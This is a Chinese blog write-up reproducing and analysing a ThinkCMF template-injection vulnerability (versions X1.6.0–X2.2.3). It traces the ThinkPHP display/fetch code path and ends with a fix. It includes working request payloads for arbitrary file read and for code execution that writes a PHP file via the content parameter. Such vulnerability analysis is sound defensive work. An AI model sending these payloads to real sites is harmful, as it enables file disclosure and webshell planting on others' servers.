漏洞复现

说在前头,这篇文章与其说是对漏洞的分析,不如说是对thinkphp和mvc框架的学习

搭建环境

网站源码在github下载,下载链接

影响版本:

1
2
3
4
5
6
ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2
ThinkCMF X2.2.3

这里用的2.2.2版本

下载安装完之后显示:

复现

打开网站,安装成功后页面如下:

任意文件读取payload:

1
/index.php?a=display&templateFile=README.md

远程代码执行:

1
/index.php?a=fetch&content=<?php code

由于没有回显,所以只能采用dnslog或者生成文件之类的方式进行验证

分析

任意文件包含

由于已知了漏洞的触发点,根据index.php的配置,


打开application->Portal->IndexController.class.php
可以发现这个类是继承的HomebaseController控制器类,

这个类的位置在application/Common/Controller/HomebaseController.class.php,
打开在112行可以看到display方法,下方有fetch方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public function display($templateFile = '', $charset = '', $contentType = '', $content = '', $prefix = '') {
parent::display($this->parseTemplate($templateFile), $charset, $contentType,$content,$prefix);
}

/**
* 获取输出页面内容
* 调用内置的模板引擎fetch方法,
* @access protected
* @param string $templateFile 指定要调用的模板文件
* 默认为空 由系统自动定位模板文件
* @param string $content 模板输出内容
* @param string $prefix 模板缓存前缀*
* @return string
*/
public function fetch($templateFile='',$content='',$prefix=''){
$templateFile = empty($content)?$this->parseTemplate($templateFile):'';
return parent::fetch($templateFile,$content,$prefix);
}

首先看到display方法,调用的是父类的display函数,跟上去看看

1
2
3
protected function display($templateFile='',$charset='',$contentType='',$content='',$prefix='') {
$this->view->display($templateFile,$charset,$contentType,$content,$prefix);
}

这个方法的作用是显示模板,调用的是内置的模板引擎,继续跟进,

1
2
3
4
5
6
7
8
9
10
11
public function display($templateFile='',$charset='',$contentType='',$content='',$prefix='') {
G('viewStartTime');
// 视图开始标签
Hook::listen('view_begin',$templateFile);
// 解析并获取模板内容
$content = $this->fetch($templateFile,$content,$prefix);
// 输出模板内容
$this->render($content,$charset,$contentType);
// 视图结束标签
Hook::listen('view_end');
}

在第一个payload:/index.php?a=display&templateFile=README.md情况下
此时$templateFile的值是README.md,在经过了$content = $this->fetch($templateFile,$content,$prefix);之后,$content的值已经被赋予了,这里着重看一下$this->fetch方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public function fetch($templateFile='',$content='',$prefix='') {
if(empty($content)) {
$templateFile = $this->parseTemplate($templateFile);
// 模板文件不存在直接返回
if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);
}else{
defined('THEME_PATH') or define('THEME_PATH', $this->getThemePath());
}
// 页面缓存
ob_start();
ob_implicit_flush(0);
if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板
$_content = $content;
// 模板阵列变量分解成为独立变量
extract($this->tVar, EXTR_OVERWRITE);
// 直接载入PHP模板
empty($_content)?include $templateFile:eval('?>'.$_content);
}else{
// 视图解析标签
$params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);
Hook::listen('view_parse',$params);
}
// 获取并清空缓存
$content = ob_get_clean();
// 内容过滤标签
Hook::listen('view_filter',$content);
// 输出模板文件
return $content;
}

很多人看到了中间有个eval函数之后就感觉这个地方是漏洞主要的触发点了,然后就没分析了,仔细看这个eval是在if下的,这个时候C('TMPL_ENGINE_TYPE')的返回值是为空的,所以压根就没进这个if,更不用说eval了;

继续看到else之后的Hook::listen('view_parse',$params);,由于thinkcmf是基于thinkphp的,看到Hook名字是view_parse,由于对thinkphp了解的不太深,Hook被我简单的理解成直接调用某个方法,看名字的大概意思是模板解析,跟进一下,在simplewind/Core/Library/Think/Hook.class.php可以看到Hook的定义,看到listen方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
static public function listen($tag, &$params=NULL) {
if(isset(self::$tags[$tag])) {
if(APP_DEBUG) {
G($tag.'Start');
trace('[ '.$tag.' ] --START--','','INFO');
}
foreach (self::$tags[$tag] as $name) {
APP_DEBUG && G($name.'_start');
$result = self::exec($name, $tag,$params);
if(APP_DEBUG){
G($name.'_end');
trace('Run '.$name.' [ RunTime:'.G($name.'_start',$name.'_end',6).'s ]','','INFO');
}
if(false === $result) {
// 如果返回false 则中断插件执行
return ;
}
}
if(APP_DEBUG) { // 记录行为的执行日志
trace('[ '.$tag.' ] --END-- [ RunTime:'.G($tag.'Start',$tag.'End',6).'s ]','','INFO');
}
}
return;
}

我们传入的view_parse在经过APP_DEBUG && G($name.'_start');之后,$name被赋值成ParseTemplateBehavior,随后进入exec执行

$result = self::exec($name, $tag,$params);

exec方法的定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
    static public function exec($name, $tag,&$params=NULL) {
if('Behavior' == substr($name,-8) ){
// 行为扩展必须用run入口方法
$class = $name;
$tag = 'run';
}else{
$class = "plugins\\{$name}\\{$name}Plugin";
}
if(class_exists($class)){ //ThinkCMF NOTE 插件或者行为存在时才执行
$addon = new $class();
return $addon->$tag($params);
}
}
}

作用是执行某个hook,我们这里的就是view_parse,对应的行为是ParseTemplateBehavior,
在最后$addon->$tag($params);时调用了ParseTemplateBehavior的run方法,
看到run方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public function run(&$_data){
$engine = strtolower(C('TMPL_ENGINE_TYPE'));
$_content = empty($_data['content'])?$_data['file']:$_data['content'];
$_data['prefix'] = !empty($_data['prefix'])?$_data['prefix']:C('TMPL_CACHE_PREFIX');
if('think'==$engine){ // 采用Think模板引擎
if((!empty($_data['content']) && $this->checkContentCache($_data['content'],$_data['prefix']))
|| $this->checkCache($_data['file'],$_data['prefix'])) { // 缓存有效
//载入模版缓存文件
Storage::load(C('CACHE_PATH').$_data['prefix'].md5($_content).C('TMPL_CACHFILE_SUFFIX'),$_data['var']);
}else{
$tpl = Think::instance('Think\\Template');
// 编译并加载模板文件
$tpl->fetch($_content,$_data['var'],$_data['prefix']);
}
}else{
// 调用第三方模板引擎解析和输出
if(strpos($engine,'\\')){
$class = $engine;
}else{
$class = 'Think\\Template\\Driver\\'.ucwords($engine);
}
if(class_exists($class)) {
$tpl = new $class;
$tpl->fetch($_content,$_data['var']);
}else { // 类没有定义
E(L('_NOT_SUPPORT_').': ' . $class);
}
}
}

经过一些列操作之后,

1
2
3
$tpl = Think::instance('Think\\Template');
// 编译并加载模板文件
$tpl->fetch($_content,$_data['var'],$_data['prefix']);

实例化了Template类,$tpl就是Template实例化的对象,并能够调用静态方法,
Template的fetch方法定义如下:

1
2
3
4
5
public function fetch($templateFile,$templateVar,$prefix='') {
$this->tVar = $templateVar;
$templateCacheFile = $this->loadTemplate($templateFile,$prefix);
Storage::load($templateCacheFile,$this->tVar,null,'tpl');
}

可以看到又调用了loadTemplate方法,此时参数$templateFile的值为’README.md’,
loadTemplate方法中的部分代码:

1
2
3
4
5
6
7
8
public function loadTemplate ($templateFile,$prefix='') {
if(is_file($templateFile)) {
$this->templateFile = $templateFile;
// 读取模板文件内容
$tmplContent = file_get_contents($templateFile);
}else{
$tmplContent = $templateFile;
}

终于看到了file_get_contents函数,这个时候读取完文件再经过
View.class中的$content = ob_get_clean();,return之后就到display中,即完成了整个文件包含的过程。

任意代码执行

先来看看网上流传的payload:

1
?a=fetch&templateFile=public/index&prefix=%27%27&content=<php>file_put_contents(%27xxx.php%27,%27code%27)</php>

可以看到采用的是写文件的操作,我们来看看fetch方法:

1
2
3
4
public function fetch($templateFile='',$content='',$prefix=''){
$templateFile = empty($content)?$this->parseTemplate($templateFile):'';
return parent::fetch($templateFile,$content,$prefix);
}

仔细看一看其实是不需要templateFile和prefix参数的,简短的payload应该是最开始的那个payload:

1
/index.php?a=fetch&content=<php>file_put_contents(%27xxx.php%27,%27code%27)</php>

回到正题,继续跟进他的父类方法:

1
2
3
protected function fetch($templateFile='',$content='',$prefix='') {
return $this->view->fetch($templateFile,$content,$prefix);
}

其实这个方法就是前面造成文件包含的fetch方法,只不过缺少了个给视图做标签的过程,直接到了解析模板的过程,
其中的过程都差不多,区别在于在ParseTemplateBehavior的run方法中:

1
2
3
4
5
6
7
8
9
10
if('think'==$engine){ // 采用Think模板引擎
if((!empty($_data['content']) && $this->checkContentCache($_data['content'],$_data['prefix']))
|| $this->checkCache($_data['file'],$_data['prefix'])) { // 缓存有效
//载入模版缓存文件
Storage::load(C('CACHE_PATH').$_data['prefix'].md5($_content).C('TMPL_CACHFILE_SUFFIX'),$_data['var']);
}else{
$tpl = Think::instance('Think\\Template');
// 编译并加载模板文件
$tpl->fetch($_content,$_data['var'],$_data['prefix']);
}

此时的$content不为空,所以直接进入了if并执行了Storage::load(C('CACHE_PATH').$_data['prefix'].md5($_content).C('TMPL_CACHFILE_SUFFIX'),$_data['var']);
同样由于采用的thinkphp框架,这里的作用是写入一个缓存文件,跟进一下,

1
2
3
4
5
6
7
    static public function __callstatic($method,$args){
//调用缓存驱动的方法
if(method_exists(self::$handler, $method)){
return call_user_func_array(array(self::$handler,$method), $args);
}
}
}

此时call_user_func_array的参数$method是load,也就是load方法,$args是生成的缓存文件路径,跟进load方法:

1
2
3
4
5
6
public function load($_filename,$vars=null){
if(!is_null($vars)){
extract($vars, EXTR_OVERWRITE);
}
include $_filename;
}

到这里已经很明显了,直接inlcude包含缓存文件,生成的缓存文件在runtime/Cache,造成了代码执行,分析过程到这里差不多结束了。

修复

修复其实很简单,只需要外部调用不了这两个函数即可,将public改成protected即可。

本来一个漏洞分析,只不过分析的越来越偏,跟着跟着就变成了thinkphp框架学习了emmm。